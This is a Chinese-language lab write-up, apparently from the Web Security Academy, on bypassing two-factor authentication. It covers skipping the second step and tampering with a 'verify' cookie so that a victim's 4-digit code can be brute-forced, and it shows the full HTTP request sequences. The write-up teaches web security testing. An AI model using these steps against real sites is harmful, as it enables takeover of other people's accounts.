bypass 2FA

許多網站要求使用者使用2FA( multi-factor authentication,雙因子認證)來證明身份。能同時取得密碼與外部來源的驗證碼的可能性極低,因此2FA顯然比單因子身份驗證更安全。但是,如果2FA設計不良,就可以利用缺陷繞過這種認證機制。

常見的安全問題如下

  • 可直接跳過驗證未檢查
  • 未綁定前後2個驗證的狀態


可直接跳過驗證未檢查

使用者可以無視驗證流程,直接跳過,舉例如下

假設某網站登入流程如下

  1. 在login輸入帳密,驗證成功後發送4位數驗證碼到信箱
  2. 看信箱查閱驗證碼後,輸入4位數驗證碼,驗證成功後到第3步
  3. 跳轉到my-account,成功存取

但因為發現目標網站存在漏洞,沒有檢查第二階段有無驗證成功就授權,所以在第一階段login輸入帳密驗證成功後,跳過第2階段驗證,直接人工訪問my-account就可以存取,流程如下

  1. 在login輸入帳密,驗證成功後發送4位數驗證碼到信箱
  2. 直接訪問my-account,成功存取

Lab: 2FA simple bypass


未綁定前後2個驗證的狀態

當使用者完成初始登入步驟後,網站沒有充分驗證相同使用者是否正在完成第二步,舉例如下。

某網站正常登入流程

1.輸入帳密後送出第一階段驗證請求如下

##################### request #####################
POST /login HTTP/1.1
...omit...
Cookie: verify=wiener; session=IUuj0LezTMY4odic9B9ZQLNvjMAHDwZY
csrf=TntnwhEDOc994CUysx3mn4pDoBXkfQ7n&username=wiener&password=peter

##################### response #####################
HTTP/1.1 302 Found
Location: /login2
Set-Cookie: verify=wiener; Path=/; HttpOnly
Set-Cookie: session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj; Path=/; Secure; HttpOnly
...omit...

2.第一階段驗證通,開始第二階段的驗證碼認證

##################### request #####################
GET /login2 HTTP/1.1
...omit...
Cookie: verify=wiener; session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj

##################### response #####################
...omit...
<input required type="hidden" name="csrf" value="m7AWALsEaobpz2Ojod3axD8EmwLZPxpe">
<label>Please enter your 4-digit security code</label>
...omit...

3.在第二階段輸入驗證碼

##################### request #####################
POST /login2 HTTP/1.1
...omit...
Cookie: verify=wiener; session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj
csrf=m7AWALsEaobpz2Ojod3axD8EmwLZPxpe&mfa-code=1234

##################### response #####################
HTTP/1.1 302 Found
Location: https://ac461f3e1e146af180ef926e00ee0031.web-security-academy.net
Set-Cookie: session=JOVfvwab1OzAOSmo50ebfKHRhkCFSbDn; Path=/; Secure; HttpOnly
...omit...

4.第二階段驗證通,返回首頁

GET / HTTP/1.1
...omit...
Cookie: verify=wiener; session=JOVfvwab1OzAOSmo50ebfKHRhkCFSbDn

漏洞發現

分析網站的第二階段驗證時發現在cookie的地方,可以把verify改為受害者做申請

GET /login2 HTTP/1.1
...omit...
Cookie: verify=victim; session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj

並用受害者的驗證碼送出請求做驗證,一旦驗證成功,就等同是用victim身份登入,換句話說第一階段不用victim的密碼,如下

POST /login2 HTTP/1.1
...omit...
Cookie: verify=victim; session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj
csrf=m7AWALsEaobpz2Ojod3axD8EmwLZPxpe&mfa-code=1234

主要是因為沒有做好綁定,因此在第一階段完驗證完後,第二階段就可以改成其他人的帳戶,並用爆力破解4位數密碼

攻擊流程

1 先使用己知帳密通過第一階段驗證

POST /login HTTP/1.1
...omit...
Cookie: verify=wiener; session=IUuj0LezTMY4odic9B9ZQLNvjMAHDwZY
csrf=TntnwhEDOc994CUysx3mn4pDoBXkfQ7n&username=wiener&password=peter

2.第一階段驗證完成後,會開始準備第二階段驗證如下

GET /login2 HTTP/1.1
...omit...
Cookie: verify=wiener; session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj

3.將上述請求的verify改為受害者carlos 如下

GET /login2 HTTP/1.1
...omit...
Cookie: verify=carlos; session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj

4.透過爆力密碼破解送出第二階段驗證碼, 可使用intruder將請求調成如下

POST /login2 HTTP/1.1
...omit...
Cookie: verify=carlos; session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj
csrf=m7AWALsEaobpz2Ojod3axD8EmwLZPxpe&mfa-code=$brute force$

5.一旦爆力密碼破解成功,會302重導向

##################### request #####################
POST /login2 HTTP/1.1
...omit...
Cookie: verify=carlos; session=6TmJOTFVO6E4QKSqbXEnKazco8qiDWyj
csrf=m7AWALsEaobpz2Ojod3axD8EmwLZPxpe&mfa-code=9527

##################### response #####################
HTTP/1.1 302 Found
Location: https://ac461f3e1e146af180ef926e00ee0031.web-security-academy.net
Set-Cookie: session=ImHQqLtWzTioShZNqf6LXkSVaj2rUiBy; Path=/; Secure; HttpOnly
...omit...

6.重導向到carlos的頁面,入侵成功

request
	GET /my-account?id=carlos HTTP/1.1
	...omit...
	Cookie: verify=carlos; session=ImHQqLtWzTioShZNqf6LXkSVaj2rUiBy

Lab: 2FA broken logic